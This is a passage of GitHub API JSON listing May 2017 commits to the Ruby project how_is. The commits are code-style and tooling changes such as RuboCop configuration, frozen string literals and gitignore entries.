2870ac5f37d9337e20c76b3c8ea48764ccea3c9","url":"https://api.github.com/repos/how-is/how_is/commits/e2870ac5f37d9337e20c76b3c8ea48764ccea3c9","html_url":"https://github.com/how-is/how_is/commit/e2870ac5f37d9337e20c76b3c8ea48764ccea3c9"}]},{"sha":"e2870ac5f37d9337e20c76b3c8ea48764ccea3c9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTI4NzBhYzVmMzdkOTMzN2UyMGM3NmIzYzhlYTQ4NzY0Y2NlYTNjOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:56:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:56:32Z"},"message":"use {} instead of do/end when calling a method on the result.","tree":{"sha":"d17ac38179964f6599a233aea4bc0ed57322cac4","url":"https://api.github.com/repos/how-is/how_is/git/trees/d17ac38179964f6599a233aea4bc0ed57322cac4"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e2870ac5f37d9337e20c76b3c8ea48764ccea3c9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e2870ac5f37d9337e20c76b3c8ea48764ccea3c9","html_url":"https://github.com/how-is/how_is/commit/e2870ac5f37d9337e20c76b3c8ea48764ccea3c9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e2870ac5f37d9337e20c76b3c8ea48764ccea3c9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ac45c10bf49f819a37af0f1e345a44d8618a2ff7","url":"https://api.github.com/repos/how-is/how_is/commits/ac45c10bf49f819a37af0f1e345a44d8618a2ff7","html_url":"https://github.com/how-is/how_is/commit/ac45c10bf49f819a37af0f1e345a44d8618a2ff7"}]},{"sha":"ac45c10bf49f819a37af0f1e345a44d8618a2ff7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YWM0NWMxMGJmNDlmODE5YTM3YWYwZjFlMzQ1YTQ0ZDg2MThhMmZmNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:55:24Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:55:24Z"},"message":"[how_is/analyzer] indent \"private\" and surround it with newlines","tree":{"sha":"21ea311fa52af46013056f859861089758659f3d","url":"https://api.github.com/repos/how-is/how_is/git/trees/21ea311fa52af46013056f859861089758659f3d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ac45c10bf49f819a37af0f1e345a44d8618a2ff7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ac45c10bf49f819a37af0f1e345a44d8618a2ff7","html_url":"https://github.com/how-is/how_is/commit/ac45c10bf49f819a37af0f1e345a44d8618a2ff7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ac45c10bf49f819a37af0f1e345a44d8618a2ff7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7ebc3011ae64407b8623671929ae075e69b7ff6d","url":"https://api.github.com/repos/how-is/how_is/commits/7ebc3011ae64407b8623671929ae075e69b7ff6d","html_url":"https://github.com/how-is/how_is/commit/7ebc3011ae64407b8623671929ae075e69b7ff6d"}]},{"sha":"7ebc3011ae64407b8623671929ae075e69b7ff6d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2ViYzMwMTFhZTY0NDA3Yjg2MjM2NzE5MjlhZTA3NWU2OWI3ZmY2ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:54:11Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:54:11Z"},"message":"[how_is/analyzer] add whitespace inside { and } in blocks","tree":{"sha":"a42696b420f92b8b168d40a4b5155f9d4735b981","url":"https://api.github.com/repos/how-is/how_is/git/trees/a42696b420f92b8b168d40a4b5155f9d4735b981"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7ebc3011ae64407b8623671929ae075e69b7ff6d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7ebc3011ae64407b8623671929ae075e69b7ff6d","html_url":"https://github.com/how-is/how_is/commit/7ebc3011ae64407b8623671929ae075e69b7ff6d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7ebc3011ae64407b8623671929ae075e69b7ff6d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"10566a2fa34773c6eaf177948038d14e0f358916","url":"https://api.github.com/repos/how-is/how_is/commits/10566a2fa34773c6eaf177948038d14e0f358916","html_url":"https://github.com/how-is/how_is/commit/10566a2fa34773c6eaf177948038d14e0f358916"}]},{"sha":"10566a2fa34773c6eaf177948038d14e0f358916","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTA1NjZhMmZhMzQ3NzNjNmVhZjE3Nzk0ODAzOGQxNGUwZjM1ODkxNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:50:50Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:50:50Z"},"message":"DON''T FREEZE STRINGS IN CLI.RB IT DOESN''T WORK","tree":{"sha":"ef1406d024aa2e3822deb3e686841d1ef5fe1afa","url":"https://api.github.com/repos/how-is/how_is/git/trees/ef1406d024aa2e3822deb3e686841d1ef5fe1afa"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/10566a2fa34773c6eaf177948038d14e0f358916","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/10566a2fa34773c6eaf177948038d14e0f358916","html_url":"https://github.com/how-is/how_is/commit/10566a2fa34773c6eaf177948038d14e0f358916","comments_url":"https://api.github.com/repos/how-is/how_is/commits/10566a2fa34773c6eaf177948038d14e0f358916/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e25b2c811f0c3da1465a6ea5f33274debcdbf96","url":"https://api.github.com/repos/how-is/how_is/commits/6e25b2c811f0c3da1465a6ea5f33274debcdbf96","html_url":"https://github.com/how-is/how_is/commit/6e25b2c811f0c3da1465a6ea5f33274debcdbf96"}]},{"sha":"6e25b2c811f0c3da1465a6ea5f33274debcdbf96","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmUyNWIyYzgxMWYwYzNkYTE0NjVhNmVhNWYzMzI3NGRlYmNkYmY5Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:41:25Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:41:25Z"},"message":"FROZENSTRINGLITERALFROZENSTRINGLITERALFROZENSTRING\n\nFUTURE\n\nhttps://media.giphy.com/media/zk6HuNKb9WauQ/giphy.gif","tree":{"sha":"77f8dc0b8ecb91587145ae7ed6eddf14f0ba7082","url":"https://api.github.com/repos/how-is/how_is/git/trees/77f8dc0b8ecb91587145ae7ed6eddf14f0ba7082"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6e25b2c811f0c3da1465a6ea5f33274debcdbf96","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6e25b2c811f0c3da1465a6ea5f33274debcdbf96","html_url":"https://github.com/how-is/how_is/commit/6e25b2c811f0c3da1465a6ea5f33274debcdbf96","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6e25b2c811f0c3da1465a6ea5f33274debcdbf96/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7ed7cedf819ac566d4e28cd29ebbef9b061ef5d4","url":"https://api.github.com/repos/how-is/how_is/commits/7ed7cedf819ac566d4e28cd29ebbef9b061ef5d4","html_url":"https://github.com/how-is/how_is/commit/7ed7cedf819ac566d4e28cd29ebbef9b061ef5d4"}]},{"sha":"7ed7cedf819ac566d4e28cd29ebbef9b061ef5d4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2VkN2NlZGY4MTlhYzU2NmQ0ZTI4Y2QyOWViYmVmOWIwNjFlZjVkNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:41:10Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:41:10Z"},"message":"[RuboCop] ignore things in bin/","tree":{"sha":"c7df0dd4ed1d7eccb38fead707ca286d9d6fbd7c","url":"https://api.github.com/repos/how-is/how_is/git/trees/c7df0dd4ed1d7eccb38fead707ca286d9d6fbd7c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7ed7cedf819ac566d4e28cd29ebbef9b061ef5d4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7ed7cedf819ac566d4e28cd29ebbef9b061ef5d4","html_url":"https://github.com/how-is/how_is/commit/7ed7cedf819ac566d4e28cd29ebbef9b061ef5d4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7ed7cedf819ac566d4e28cd29ebbef9b061ef5d4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"84ca248810d6939a43e3abe0736824d5106bd7db","url":"https://api.github.com/repos/how-is/how_is/commits/84ca248810d6939a43e3abe0736824d5106bd7db","html_url":"https://github.com/how-is/how_is/commit/84ca248810d6939a43e3abe0736824d5106bd7db"}]},{"sha":"84ca248810d6939a43e3abe0736824d5106bd7db","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODRjYTI0ODgxMGQ2OTM5YTQzZTNhYmUwNzM2ODI0ZDUxMDZiZDdkYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:29:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:29:14Z"},"message":"Ignore vim backup files (*~)","tree":{"sha":"897152cca214663ad416460e65945a036c498870","url":"https://api.github.com/repos/how-is/how_is/git/trees/897152cca214663ad416460e65945a036c498870"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/84ca248810d6939a43e3abe0736824d5106bd7db","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/84ca248810d6939a43e3abe0736824d5106bd7db","html_url":"https://github.com/how-is/how_is/commit/84ca248810d6939a43e3abe0736824d5106bd7db","comments_url":"https://api.github.com/repos/how-is/how_is/commits/84ca248810d6939a43e3abe0736824d5106bd7db/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"52555e5510edba95952d47cfb9b4126ca18a2385","url":"https://api.github.com/repos/how-is/how_is/commits/52555e5510edba95952d47cfb9b4126ca18a2385","html_url":"https://github.com/how-is/how_is/commit/52555e5510edba95952d47cfb9b4126ca18a2385"}]},{"sha":"52555e5510edba95952d47cfb9b4126ca18a2385","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTI1NTVlNTUxMGVkYmE5NTk1MmQ0N2NmYjliNDEyNmNhMThhMjM4NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:26:50Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:26:50Z"},"message":"frozen_string_literal Rakefile","tree":{"sha":"5552b3317b142767d58518fbbd3fb2560646ae0f","url":"https://api.github.com/repos/how-is/how_is/git/trees/5552b3317b142767d58518fbbd3fb2560646ae0f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/52555e5510edba95952d47cfb9b4126ca18a2385","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/52555e5510edba95952d47cfb9b4126ca18a2385","html_url":"https://github.com/how-is/how_is/commit/52555e5510edba95952d47cfb9b4126ca18a2385","comments_url":"https://api.github.com/repos/how-is/how_is/commits/52555e5510edba95952d47cfb9b4126ca18a2385/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4c0c32c1b1088ced2288799d0db8836590486b64","url":"https://api.github.com/repos/how-is/how_is/commits/4c0c32c1b1088ced2288799d0db8836590486b64","html_url":"https://github.com/how-is/how_is/commit/4c0c32c1b1088ced2288799d0db8836590486b64"}]},{"sha":"4c0c32c1b1088ced2288799d0db8836590486b64","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGMwYzMyYzFiMTA4OGNlZDIyODg3OTlkMGRiODgzNjU5MDQ4NmI2NA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:16:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T06:16:14Z"},"message":"tell RuboCop to use ruby 2.3 parser.","tree":{"sha":"914ab0119edf176938346dea19b9ef959ccea148","url":"https://api.github.com/repos/how-is/how_is/git/trees/914ab0119edf176938346dea19b9ef959ccea148"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4c0c32c1b1088ced2288799d0db8836590486b64","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4c0c32c1b1088ced2288799d0db8836590486b64","html_url":"https://github.com/how-is/how_is/commit/4c0c32c1b1088ced2288799d0db8836590486b64","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4c0c32c1b1088ced2288799d0db8836590486b64/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"dcdc4f7e0847ab3294a65ad78e64c7f49490f4e1","url":"https://api.github.com/repos/how-is/how_is/commits/dcdc4f7e0847ab3294a65ad78e64c7f49490f4e1","html_url":"https://github.com/how-is/how_is/commit/dcdc4f7e0847ab3294a65ad78e64c7f49490f4e1"}]},{"sha":"dcdc4f7e0847ab3294a65ad78e64c7f49490f4e1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGNkYzRmN2UwODQ3YWIzMjk0YTY1YWQ3OGU2NGM3ZjQ5NDkwZjRlMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:52:03Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:52:06Z"},"message":"[RuboCop] allow heredocs to exceed line length","tree":{"sha":"ec583d91caeb305f77ea29e8859d21e4063eb57f","url":"https://api.github.com/repos/how-is/how_is/git/trees/ec583d91caeb305f77ea29e8859d21e4063eb57f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/dcdc4f7e0847ab3294a65ad78e64c7f49490f4e1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/dcdc4f7e0847ab3294a65ad78e64c7f49490f4e1","html_url":"https://github.com/how-is/how_is/commit/dcdc4f7e0847ab3294a65ad78e64c7f49490f4e1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/dcdc4f7e0847ab3294a65ad78e64c7f49490f4e1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","rece